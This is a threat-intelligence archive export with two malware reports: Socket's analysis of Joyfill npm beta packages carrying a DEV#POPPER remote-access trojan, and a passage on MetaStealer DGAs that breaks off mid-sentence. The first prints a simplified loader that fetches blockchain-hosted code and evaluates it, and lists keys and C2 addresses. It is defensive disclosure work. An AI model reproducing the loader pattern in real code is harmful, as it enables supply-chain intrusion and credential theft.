{"data":[{"id":"2406c92e-d47f-475a-837e-5069bd9cfc1e","created_at":"2026-07-31T02:03:12.438203Z","updated_at":"2026-08-01T02:02:14.010285Z","deleted_at":null,"sha1_hash":"33a4157bae36dd42c560047a47f55c0cb5059cca","title":"Two Joyfill npm Beta Releases Compromised to Deliver DEV#POPPER Remote Access Trojan","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":164552,"plain_text":"https://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nTwo Joyfill npm Beta Releases Compromised to Deliver\n\nDEV#POPPER Remote Access Trojan\n\nBy Socket Research Team\n\nPublished: 2026-07-28 · Archived: 2026-07-31 02:01:21 UTC\n\nSidebar CTA Background\n\nSecure your dependencies with us\n\nSocket proactively blocks malicious open source packages in your code.\n\nInstall\n\nTwo npm beta releases in the  @joyfill  namespace contain an import-time JavaScript implant that resolves\n\nencrypted code through Tron, Aptos, and BNB Smart Chain transactions. Static analysis shows that its primary\n\nbranch reaches a 77 KB Node.js remote-access trojan. A parallel branch launches a detached Node.js process,\n\nrequests a separate boot payload from  23[.]27[.]13[.]43/$/boot , sends the marker header  Sec-V: A9-0135-3 ,\n\ndecrypts the response, and evaluates it.\n\nJoyfill provides software development kits for embedding forms, documents, and PDFs into web and mobile\n\napplications.  @joyfill/components  supplies the React UI components used to build, render, and edit these\n\nexperiences, while  @joyfill/layouts  manages their page and field layouts.\n\nEach package receives approximately 16,000 weekly downloads on npm. Because  @joyfill/components\n\ndepends on  @joyfill/layouts , these figures overlap and should not be combined into a single download total.\n\nThe affected versions were beta releases, so overall weekly downloads do not indicate how many users installed\n\nthe compromised beta versions.\n\nAffected Packages#\n\n@joyfill/layouts@0.1.2-2773.beta.0\n\n@joyfill/components@4.0.0-rc24-2773-beta.4\n\nNeither uses an npm lifecycle hook. The functional layouts implant runs when Node.js loads the CommonJS\n\npackage entrypoint, so  npm install --ignore-scripts  does not prevent execution once the affected module is\n\nimported.\n\nThe loader has exact PolinRider-family indicators, including its multi-chain resolver structure, global markers, and\n\nXOR keys. The recovered 77 KB final JavaScript has the highly distinctive Socket.IO command set,  Sec-V\n\nmarker design, and developer-tool persistence associated with the DEV#POPPER malware family. These are\n\nfamily assessments based on direct code overlap and published technical research, not an attribution of the Joyfill\n\ncompromise to a particular group.\n\nPage 1 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nImpact#\n\nThe  @joyfill/layouts  release should be treated as capable of arbitrary code execution in the context of any\n\nprocess that loads it. This includes development environments, CI runners, test tooling, server-side rendering, and\n\nbuilds. The final recovered code can collect host information, establish a Socket.IO remote-control channel,\n\nexecute supplied JavaScript or shell commands, upload files, read clipboard data, and modify files belonging to\n\ndeveloper tools.\n\n@joyfill/components@4.0.0-rc24-2773-beta.4  contains the same malicious injection in  dist/index.js ,\n\ndist/index.esm.js , and  dist/joyfill.min.js . Its published Rollup bundle supplies a throwing dynamic-\n\nrequire  shim, preventing the loader from resolving its network dependencies in the normal bundled execution\n\npath. That limits execution in this particular artifact, but does not make the release safe or remove the evidence\n\nthat the same source-level injection reached a second Joyfill package.\n\nThe preceding versions examined,  @joyfill/layouts@0.1.1  and  @joyfill/components@4.0.0-rc24 , do not\n\ncontain the implant. Other public  @joyfill  packages checked during this analysis did not contain this signature.\n\nHow the packages were compromised#\n\nBoth malicious versions use the  2773  prerelease build marker and were published by the same npm identity\n\nusing Node.js  18.20.0  and npm  10.5.0 :\n\n@joyfill/layouts@0.1.2-2773.beta.0 :  2026-07-28T10:54:57.311Z\n\n@joyfill/components@4.0.0-rc24-2773-beta.4 :  2026-07-28T11:03:59.568Z\n\nThe layouts source map attributes the appended implant to  src/utils/reactGridLayoutUtils.js ; the emitted\n\nsource maps for both packages include the implant’s own identifiers. This establishes that the code was present at\n\nbundle time rather than inserted only into a final tarball. It does not, on its own, identify whether the initial access\n\nwas to a developer workstation, source repository, CI environment, or publishing credential.\n\nTechnical Analysis#\n\nStage 0: Module-load bootstrap\n\nThe implant is appended after legitimate package code. It begins with several layers of JavaScript obfuscation: a\n\nseeded character shuffle, a small decoded string table, a word-substitution decompressor, and dynamic  Function\n\nconstruction. The recovered table contains  r ,  object , and  m .\n\nIn the layouts CommonJS bundle, the implant exposes Node.js module primitives through globals, then runs the\n\ndecoded resolver:\n\n// Simplified and normalized from the layouts CommonJS bundle.\nglobal.r = require;\nglobal.m = module;\n\nPage 2 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nconst resolver = decryptEmbeddedPayload();\nFunction(\"\", resolver)();\n\nThe bootstrap sets  global._V  to  A9-0135-3 , retains a 30-second process-global throttle in  _p_t , and launches\n\ntwo separate payload-resolution paths. One evaluates its result in the importing process. The other uses\n\nchild_process.spawn(\"node\", [\"-e\", payload])  with  detached: true ,  stdio: \"ignore\" , and\n\nwindowsHide: true , then calls  unref() .\n\nThis is why the implant is not an install-hook attack: package loading is sufficient to begin the chain.\n\nStage 1: Blockchain-backed dispatch\n\nThe first resolver obtains a BSC transaction hash from the latest outbound transaction of a hard-coded Tron\n\naddress. If that fails, it queries an Aptos account and reads  payload.arguments[0] . It then retrieves the BSC\n\ntransaction through  eth_getTransactionByHash , reverses and decodes the transaction input, splits it on  ?.? ,\n\nXOR-decrypts one segment, and evaluates the resulting JavaScript.\n\n// Simplified and normalized from the recovered resolver.\nconst pointer = await resolveFromTronOrAptos();\nconst tx = await bscRpc(\"eth_getTransactionByHash\", [pointer]);\nconst decoded = decodeAndReverse(tx.result.input.slice(2));\nconst nextStage = xor(decoded.split(\"?.?\")[1], key);\neval(nextStage);\n\nThe in-process route uses the following values:\n\nTron:  TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\n\nAptos fallback:  0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\n\nXOR key:  2[gWfGj;\u003c:-93Z^C\n\nBSC payload transaction:  0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d\n\nThe detached branch uses a distinct set:\n\nTron:  TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\n\nAptos fallback:  0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\n\nXOR key:  m6:tTh^D)cBz?NM]\n\nBSC payload transaction:  0x7ffb4efddd96e20aec90724be2ac9a71c138a9af697b9fb8224bbf80ea4f22be\n\nThe use of public blockchain data makes payload selection mutable without a new npm publication. Blocking a\n\nconventional C2 domain alone would not stop this initial retrieval sequence.\n\nThe first recovered payload: C2 selection and a second blockchain hop\n\nThe first in-process payload is a 5,849-byte JavaScript loader, SHA-256\n\ncb46f12d70824ea24ed1f8bcf45bf3f86680e02a9089aafc03b27f691be57be3 . It preserves its loader source in\n\nPage 3 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nglobals, configures C2 values based on  _V , and runs the same Tron or Aptos to BSC resolution method a second\n\ntime.\n\nFor the Joyfill marker  A9-0135-3 , the loader sets the Socket.IO endpoint to  166[.]88[.]134[.]62:443  and the\n\nupload host to  166[.]88[.]134[.]62 . It also contains alternate profiles for  198[.]105[.]127[.]210  and\n\n23[.]27[.]202[.]27 , including port  27017  for the latter.\n\nThe tier-two resolver uses:\n\nTron:  TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\n\nAptos fallback:  0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1\n\nBSC payload transaction:  0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968\n\nXOR key:  2[gWfGj;\u003c:-93Z^C\n\nThat transaction yields the final 77,276-byte  clientCode  payload, SHA-256\n\n26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18 . This is a directly recovered Joyfill\n\ndownstream stage, not a capability assessment inferred only from a related incident.\n\nThe parallel second stage: Detached  /$/boot  downloader\n\nThe second primary payload is a 3,525-byte JavaScript bootstrap, SHA-256\n\n78f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8 . It is started through the detached  node\n\n-e  path described above. Its C2 selector is independent of the 77 KB RAT branch.\n\nFor a marker beginning with  A , which includes  A9-0135-3 , this branch selects  23[.]27[.]13[.]43 . It sends a\n\nWindows Chrome user agent and the header  Sec-V: A9-0135-3  in a request to  /$/boot . It XOR-decrypts the\n\nresponse using  ThZG+0jfXE6VAGOJ  and calls  eval()  on the result.\n\nThe same bootstrap carries fallback profiles for  198[.]105[.]127[.]210  and  23[.]27[.]202[.]27:27017 . This\n\nestablishes that  23[.]27[.]13[.]43 ,  /$/boot , and the  Sec-V  header are direct Joyfill code findings. The\n\nresponse body itself was retrieved from a disposable analysis VM, not this branch’s origin host, and is\n\ncharacterized below.\n\nThis is a redundant delivery branch, not a harmless fallback. It is detached from the importing Node.js process and\n\ncan continue after a build, test, or CLI command exits.\n\nFinal recovered payload: Node.js remote-access trojan\n\nThe final  clientCode  payload is heavily obfuscated with control-flow flattening and an LZ-String-compressed\n\ntable of 337 recovered strings. It is versioned  260605  and includes  socket.io-client . It identifies the host to\n\nthe configured Socket.IO service with values including a client UUID, process ID, hostname, operating-system\n\ndetails, and session timestamps.\n\nIts command vocabulary includes  ss_info ,  ss_ip ,  ss_cb ,  ss_upf ,  ss_upd ,  ss_dir ,  ss_fcd ,  ss_stop ,\n\nss_inz ,  ss_inzx ,  ss_connect ,  ss_eval ,  ss_eval64 ,  ss_exit , and  ss_exit_f . The code supports\n\nPage 4 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nsupplied JavaScript evaluation, interpreter and shell execution, file management, and upload. It installs  axios\n\nand  socket.io-client  into its working directory when dependencies are missing.\n\nThe final payload includes these additional behaviors:\n\nUploads files to the configured upload host at  /u/f  using multipart form data and a  client_id .\n\nRetrieves additional JavaScript through  /0x/js?_V=\u003cversion\u003e\u0026id=\u003cid\u003e .\n\nUses  /verify-human/  for status or check-in handling.\n\nCollects basic host details, Windows process listings, and public IP details through  ip-api[.]com .\n\nReads clipboard data through PowerShell on Windows,  pbpaste  on macOS, and  xclip  or  xsel  on\n\nLinux.\n\nAvoids execution on several development, CI, or sandbox hostnames, including  github-runner ,\n\nbuildbot ,  buildkitsandbox , and  microsoft-standard-WSL2 .\n\nThe payload can persist by inserting a self-reloading block into application files that are routinely executed by\n\ndeveloper tooling. Its targets include the  @vscode/deviceid  module inside VS Code, Cursor, and Antigravity;\n\nDiscord Desktop’s core module; GitHub Desktop’s  resources/app/main.js ; and the global npm CLI at\n\nnode_modules/npm/lib/cli.js . The injection tags include  /*C250617A*/ ,  /*C250618A*/ ,  /*C250619A*/ ,\n\n/*C250620A*/ ,  /*C260511A*/ ,  /*C260512A*/ , and  /*RS260605*/ .\n\nRetrieved boot captures and Python credential stealer\n\nTwo live  /$/boot  response bodies decrypt with the same  ThZG+0jfXE6VAGOJ  key used by the Joyfill detached\n\nbranch. Their decoded bootstraps are 66,040 and 65,438 bytes, with SHA-256 values\n\n26e679eaf1e9baeb7c55eb48db482301171d4d26e1728544b23734a90dc70e1b  and\n\n2cfede38fb121a71a2f3607474aa8cd588a99f51b37e5e6f0d8cb789fa275032 . The saved response headers are time-\n\nstamped July 28, 2026, but do not retain enough request provenance to cryptographically associate either response\n\nwith a particular infected Joyfill host. They are therefore treated as matching downstream captures, not as proof\n\nthat every Joyfill execution received the same response.\n\nBoth bootstraps use additional obfuscated Base64 and RC4 string recovery, report status to  /verify-\n\nhuman/{campaign}  and  /snv , and avoid a broad set of cloud, CI, container, sandbox, and analysis environments.\n\nThey can install or use  axios  and  socket.io-client , provision Python using  /d/python.zip ,  /d/7zr.exe ,\n\nand  /d/python.7z , then request a Python payload from  /$/{id}  with the same  Sec-V  header. One preserved\n\nbootstrap also reloads the 77 KB  clientCode  RAT by using the same tier-two blockchain pointers as the Joyfill\n\nin-process branch.\n\nA captured  /$/1  payload decodes to an 82,457-byte Python infostealer, SHA-256\n\n36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c . Its source is cross-platform and\n\ncollects environment and host information, Windows Credential Manager and Linux Secret Service data,\n\nChromium and Firefox browser data, browser-extension storage for wallets and password managers, Git\n\ncredentials, GitHub CLI configuration, VS Code storage, and GitHub Desktop logs. It supports DPAPI, macOS\n\nKeychain, and Linux Secret Service or KWallet handling for browser decryption. We assess with medium\n\nlikelihood that this is an iteration of the OmniStealer malware.\n\nPage 5 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nThe Python code stages collected data under  %USERPROFILE%\\\\.npm  or  /tmp/.npm , creates an AES-encrypted\n\nZIP using  pyzipper , registers metadata at  /u/e , and uploads the archive to  /u/f . It can also send a document\n\nthrough Telegram when C2 supplies a bot token and chat ID. Its embedded archive password is  ,./,./,./ .\n\nThese captures were retrieved once, from a disposable VM, with no request provenance tying either response to a\n\nspecific infected host, so they are reported as matching downstream samples rather than as proof of what every\n\nJoyfill execution receives.\n\nPolinRider and DEV#POPPER relationship\n\nThe loader’s  rmcej%otb%  marker,  global  naming pattern, exact multi-chain resolution order, and XOR keys\n\nmatch the PolinRider-associated blockchain loader analyzed in Socket’s PHP supply-chain investigation. The\n\nrecovered Joyfill client then matches the DEV#POPPER family on more specific operational indicators:  Sec-V\n\nand  /$/boot , the  ThZG+0jfXE6VAGOJ  decryptor key, Socket.IO use, the  ss_*  command set, and persistence\n\nthrough developer-tool files.\n\nThe  /$/boot  and Python captures described above confirm the same follow-on is live in this campaign’s own\n\ninfrastructure, using this campaign’s own keys and markers, not an inferred capability carried over from a\n\ndifferent incident.\n\nThis campaign overlaps significantly with an incident analysed by eSentire eariler in 2026, in which\n\nDEV#POPPER was used to load DEV#POPPER RAT and OmniStealer. While in that case, the sourced was a\n\nweaponized clone of the Github repo “ShoeVista,” this attack appears to have been due to maintainer compromise.\n\nRecommendations#\n\nFor Developers\n\nRemove both affected versions from lockfiles, caches, internal mirrors, build images, and deployment artifacts.\n\nPin to an independently verified version ( @joyfill/layouts@0.1.1 ,  @joyfill/components@4.0.0-rc24 ) and\n\nprevent the affected versions from being restored by automated resolution. Avoid the  beta  dist-tag for these\n\npackages until Joyfill confirms remediation.\n\nnpm install --ignore-scripts  does not help here. The implant runs at import time, not at install time, so any\n\nprocess that loads the module, including test runners, SSR, and bundlers, is sufficient to trigger it.\n\nFor Security Teams\n\nTreat any machine that imported  @joyfill/layouts@0.1.2-2773.beta.0  or  @joyfill/components@4.0.0-rc24-\n\n2773-beta.4  as potentially compromised, not just at risk of data theft: the recovered RAT provides an interactive\n\nremote shell. Isolate the host, preserve logs and dependency artifacts, and rotate credentials reachable from the\n\naffected Node.js process before doing anything else, from a separate, uncompromised machine.\n\nInvestigate unexpected modifications to  @vscode/deviceid  under VS Code, Cursor, and Antigravity, Discord\n\nDesktop’s core module, GitHub Desktop’s  resources/app/main.js , and the global npm CLI ( npm root -g ),\n\nsince the implant persists there independent of the package itself. If the Python follow-on may have run, also\n\nPage 6 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\ncheck for  %USERPROFILE%\\.npm  or  /tmp/.npm  staging directories and rotate browser-saved passwords, cookies,\n\nand any wallet or password-manager browser-extension data on that host, not only developer-tool credentials.\n\nReview endpoint and CI telemetry for detached Node.js processes, the four C2 IPs, the  Sec-V  header, and\n\noutbound requests to  api[.]trongrid[.]io  or  bsc-dataseed[.]binance[.]org  from build agents or developer\n\nworkstations. Blockchain RPC traffic from a CI runner is a high-fidelity signal on its own. Block both package\n\nversions in your registry proxy or dependency policy tooling.\n\nMITRE ATT\u0026CK#\n\nT1195.002  Compromise Software Supply Chain\n\nT1027  Obfuscated Files or Information\n\nT1027.013  Encrypted or Encoded File\n\nT1059.007  JavaScript\n\nT1059.006  Python\n\nT1059.004  Unix Shell\n\nT1071.001  Web Protocols\n\nT1105  Ingress Tool Transfer\n\nT1115  Clipboard Data\n\nIndicators of Compromise#\n\nnpm packages and files\n\n@joyfill/layouts@0.1.2-2773.beta.0\n\n@joyfill/components@4.0.0-rc24-2773-beta.4\n\nLayouts:  dist/index.cjs.js ,  dist/index.es.js\n\nComponents:  dist/index.js ,  dist/index.esm.js ,  dist/joyfill.min.js\n\nSHA-256\n\nLayouts archive:  adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6\n\nLayouts CommonJS bundle:  8e8b90dedd456ded0c5748119836e1ca1066112bc569c1b41ca70eb931d1d4dc\n\nLayouts ESM bundle:  5f6a92006ca2ea4b464d66fb41af777edce7296939a7c6ee491e2b3cbfe09848\n\nComponents archive:  bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17\n\nComponents  dist/index.js :  1352ad22c99983d91e600348b7cbf58235131b1ee34cea9f09623206d5b7dea7\n\nComponents  dist/index.esm.js :\n\n67c6ef602cc850f10d935fee53fa40440df841adf081563bf4fc2631a71249ce\n\nComponents  dist/joyfill.min.js :\n\nc5742ea1875ecd2360022624149994909cd0546e221e4203dffd01f48de45469\n\nIn-process first payload:  cb46f12d70824ea24ed1f8bcf45bf3f86680e02a9089aafc03b27f691be57be3\n\nDecoded tier-two resolver:  f452f9cfa539f4a1fe25187a99a484391290d5dbaa422ba455edf6b04f81b7d1\n\nDetached second payload:  78f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8\n\nDecoded detached bootstrap:  ae7565109fd01b88d82acf7f73ab20709cbc2c9f26fdea13e429ccc87a55d4fb\n\nPage 7 of 8\n\nhttps://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nFinal  clientCode  RAT:  26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18\n\nPreserved  /$/boot  capture:  26e679eaf1e9baeb7c55eb48db482301171d4d26e1728544b23734a90dc70e1b\n\nPreserved  /$/boot  capture:  2cfede38fb121a71a2f3607474aa8cd588a99f51b37e5e6f0d8cb789fa275032\n\nPreserved Python stealer capture:\n\n36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c\n\nNetwork and protocol indicators\n\napi[.]trongrid[.]io\n\nfullnode[.]mainnet[.]aptoslabs[.]com\n\nbsc-dataseed[.]binance[.]org\n\nbsc-rpc[.]publicnode[.]com\n\n166[.]88[.]134[.]62:443\n\n166[.]88[.]134[.]62:80\n\n23[.]27[.]13[.]43/$/boot\n\n198[.]105[.]127[.]210:443\n\n198[.]105[.]127[.]210:80\n\n23[.]27[.]202[.]27:443\n\n23[.]27[.]202[.]27:27017\n\nBlockchain identifiers and loader fingerprints\n\nTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\n\nTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\n\nTA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\n\n0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\n\n0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\n\n0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1\n\n0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d\n\n0x7ffb4efddd96e20aec90724be2ac9a71c138a9af697b9fb8224bbf80ea4f22be\n\n0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968\n\n0x9bc1355344b54dedf3e44296916ed15653844509\n\nSource: https://socket.dev/blog/joyfill-npm-beta-releases-compromised\n\nPage 8 of 8","extraction_quality":1,"language":"EN","sources":["Malpedia"],"origins":["web"],"references":["https://socket.dev/blog/joyfill-npm-beta-releases-compromised"],"report_names":["joyfill-npm-beta-releases-compromised"],"threat_actors":[{"id":"9f101d9c-05ea-48b9-b6f1-168cd6d06d12","created_at":"2023-01-06T13:46:39.396409Z","updated_at":"2026-08-01T02:00:03.528896Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["BountyGlad","CHROMIUM","ControlX","TAG-22","RedHotel","Red Scylla","BRONZE UNIVERSITY","AQUATIC PANDA","Red Dev 10","Charcoal Typhoon"],"source_name":"MISPGALAXY:Earth Lusca","tools":["ShadowPad","POISONPLUG","Barlaiy","Spyder","FunnySwitch","RouterGod","SprySOCKS"],"source_id":"MISPGALAXY","reports":null},{"id":"4fc99d9b-9b66-4516-b0db-520fbef049ed","created_at":"2025-10-29T02:00:51.949631Z","updated_at":"2026-08-01T02:00:04.657625Z","deleted_at":null,"main_name":"Contagious Interview","aliases":["Contagious Interview","DeceptiveDevelopment","Gwisin Gang","Tenacious Pungsan","DEV#POPPER","PurpleBravo","TAG-121"],"source_name":"MITRE:Contagious Interview","tools":["InvisibleFerret","BeaverTail","XORIndex Loader","HexEval Loader"],"source_id":"MITRE","reports":null},{"id":"18a7b52d-a1cd-43a3-8982-7324e3e676b7","created_at":"2025-08-07T02:03:24.688416Z","updated_at":"2026-08-01T02:00:03.804218Z","deleted_at":null,"main_name":"BRONZE UNIVERSITY","aliases":["Aquatic Panda","Aquatic Panda ","CHROMIUM","CHROMIUM ","Charcoal Typhoon","Charcoal Typhoon ","Earth Lusca","Earth Lusca ","FISHMONGER ","Red Dev 10","Red Dev 10 ","Red Scylla","Red Scylla ","RedHotel","RedHotel ","Tag-22","Tag-22 "],"source_name":"Secureworks:BRONZE UNIVERSITY","tools":["Cobalt Strike","Fishmaster","FunnySwitch","Spyder","njRAT"],"source_id":"Secureworks","reports":null},{"id":"6abcc917-035c-4e9b-a53f-eaee636749c3","created_at":"2022-10-25T16:07:23.565337Z","updated_at":"2026-08-01T02:00:07.298482Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["Bronze University","Charcoal Typhoon","Chromium","G1006","Red Dev 10","Red Scylla"],"source_name":"ETDA:Earth Lusca","tools":["Agentemis","AntSword","BIOPASS","BIOPASS RAT","BadPotato","Behinder","BleDoor","Cobalt Strike","CobaltStrike","Doraemon","FRP","Fast Reverse Proxy","FunnySwitch","HUC Port Banner Scanner","KTLVdoor","Mimikatz","NBTscan","POISONPLUG.SHADOW","PipeMon","RbDoor","RibDoor","RouterGod","SAMRID","ShadowPad Winnti","SprySOCKS","WinRAR","Winnti","XShellGhost","cobeacon","fscan","lcx","nbtscan"],"source_id":"ETDA","reports":null},{"id":"d53593c3-2819-4af3-bf16-0c39edc64920","created_at":"2022-10-27T08:27:13.212301Z","updated_at":"2026-08-01T02:00:04.535191Z","deleted_at":null,"main_name":"Earth Lusca","aliases":["Earth Lusca","TAG-22","Charcoal Typhoon","CHROMIUM","ControlX"],"source_name":"MITRE:Earth Lusca","tools":["Mimikatz","PowerSploit","Tasklist","certutil","Cobalt Strike","Winnti for Linux","Nltest","NBTscan","ShadowPad"],"source_id":"MITRE","reports":null}],"ts_created_at":1785463392,"ts_updated_at":1785549734,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/33a4157bae36dd42c560047a47f55c0cb5059cca.pdf","text":"https://archive.orkl.eu/33a4157bae36dd42c560047a47f55c0cb5059cca.txt","img":"https://archive.orkl.eu/33a4157bae36dd42c560047a47f55c0cb5059cca.jpg"}},{"id":"71659ba4-74c5-4d41-bb4b-8e076b91f38e","created_at":"2026-07-31T02:02:58.775245Z","updated_at":"2026-08-01T02:03:16.892018Z","deleted_at":null,"sha1_hash":"498225ab28d6ef8d2f5aa23c0c8888513cb23cc2","title":"MetaStealer traffic, new DGAs and analyzing the “tracker” backdoor DGA with AI","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":1066791,"plain_text":"https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nMetaStealer traffic, new DGAs and analyzing the “tracker”\n\nbackdoor DGA with AI\n\nBy Jason Reaves\n\nPublished: 2026-06-17 · Archived: 2026-07-31 02:01:43 UTC\n\n5 min read\n\nJun 17, 2026\n\nBy: Jason Reaves and Joshua Platt\n\nIn this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a\n\nnew wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer’s proxies or ‘gates’\n\ndon’t actually care what domain gets used as it’s just a config item; they simply pass on the traffic to another\n\nserver.\n\nWe also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears\n\nto still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality.\n\nLeveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the\n\nDGA used in the backdoor malware and provide working python code to simulate it.\n\nMetaStealer DGA:\n\nAs previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples:\n\nsea-vast-send.com\n46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0\n\nhxxp:\nd57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96\n\nhxxp:\nd1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5\n\nThis does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has\n\ndesigned their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP\n\naddress, port, URI, and HTTP headers are the more important factors.\n\nPage 1 of 7\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\n155.117.20.75\nqocyeicmusmegouw.xyz\n\n213.139.77.254\nuumcceymkuymmqou.xyz\n\nWe didn’t focus on this DGA though because during our investigation we stumbled on a piece of malware being\n\nactively developed by the same TA that also had a DGA.\n\nBackdoor “tracker”\n\nDuring the investigation, we observed a peculiar payload being delivered to several machines: an installer named\n\nRuntimeSync, example hash:\n\n82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141\n\nRuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Windows\n\nThis file identifies itself as a “RuntimeSync Agent” and explicitly refers to itself as a “tracker.” It contains a broad\n\nrange of functionality, including:\n\nDesktop video capture\n\nKeylogging\n\nSelf-updating\n\nFile uploads\n\nScreenshot capture\n\nRemote command execution\n\nA Domain Generation Algorithm (DGA)\n\nThe binary is largely unobfuscated, which made it relatively straightforward to analyze. As an experiment, I\n\ndecided to let Claude handle the DGA analysis by systematically guiding it through the relevant subroutines. Once\n\nit had produced an initial implementation, I supplied known-good output samples, allowing it to identify and\n\ncorrect its own mistakes.\n\nGet Jason Reaves’s stories in your inbox\n\nJoin Medium for free to get updates from this writer.\n\nRemember me for faster sign in\n\nThe DGA is relatively easy to identify within the binary, as it begins by preparing a word list:\n\nPress enter or click to view image in full size\n\nPage 2 of 7\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nAfterwords what looks like a seed and a domain count along with a TLD is passed to a function that will utilize\n\nthe parsed list:\n\nMy approach was to provide Claude with the main DGA\n\nand supporting functions as the session went on:\n\nPress enter or click to view image in full size\n\nroutine of sub_140006F10 and then provide sub routines\n\nPage 3 of 7\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\nRight off the bat it was able to identify this was a routine that was generating strings based on a list of tokens,\n\neven determining this was probably a DGA\n\n\u003e **Key insight:** This is a **DGA (Domain Generation Algorithm)** — the pattern of `hash % node_pool\n\nn suffix) is a classic DGA structure used in malware to generate pseudorandom C2 domain names from a\n\nAfter getting through a few standard helper functions such as an allocator and some vector routines I went back to\n\nthe word list before the DGA was called:\n\nThis is the **word list tokeniser** that splits the raw comma-separated string into the `NodeVector`\n\n**Logic:**\n\n- Iterates character by character, accumulating into a buffer\n\n- On comma (`ASCII 44`): trims leading (`space`, `tab`) and trailing (`space`, `tab`, `\\r`, `\\n`) whi\n\n- After loop: flushes the final token (no trailing comma in the list) via `sub_140005AD0`\n\n---\n\nCulminating in giving the AI the disassembly of the function responsible for calling the DGA routine:\n\nThis is the **top-level entry point** that wires everything together.\n\nPage 4 of 7\n\nhttps://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01\n\n**Hardcoded constants extracted:**\n\n| Constant | Value | Meaning |\n\n|---|---|---|\n\n| `seed` | `0x1AED` (6893) | Initial hash value |\n\n| `levels` | `1000` | Domains to generate |\n\n| `width` | `3` | Words per domain |\n\n| `TLD` | `\"com\"` | Hardcoded suffix at address `8026488` |\n\n| Word pool | 101 words | Space/tech themed, comma-separated |\n\n**Word list:**\n\n```\n\nvoid, star, orbit, probe, moon, sun, core, crust, dust, gas, rock, ice, ring,\n\ndisc, belt, flare, ray, beam, light, dark, cold, heat, mass, weight, force,\n\npull, push, drift, glide, spin, tilt, axis, pole, cap, crater, ridge, peak,\n\nrift, vent, plume, cloud, mist, fog, veil, spark, flash, glow, pulse, wave,\n\ntide, flow, stream, path, track, zone, rim, edge, brink, shell, skin, hull,\n\nhatch, port, bay, dock, deck, mast, sail, wing, fin, nose, tail, tank, fuel,\n\nbolt, nut, wire, cord, link, joint, gear, lens, glass, mirror, film, chip,\n\ngrid, plug, switch, knob, dial, screen, frame, base, stand, mount, arm, dish,\n\nbeam, mast, boom\n\n```\n\n**Steps:**\n\n1. Sets status flag `*a2 = 1`\n\n2. Allocates 544 bytes and copies in the 528-char word string\n\n3. Calls `sub_140007B50` to parse it into a `NodeVector`\n\n4. Calls `sub_140006F10(a1, 0x1AED, 1000, 3, \u0026Block, Src)` — the DGA\n\n5. Cleans up all allocations\n\nHowever, the code generated by the AI did not produce the same domains 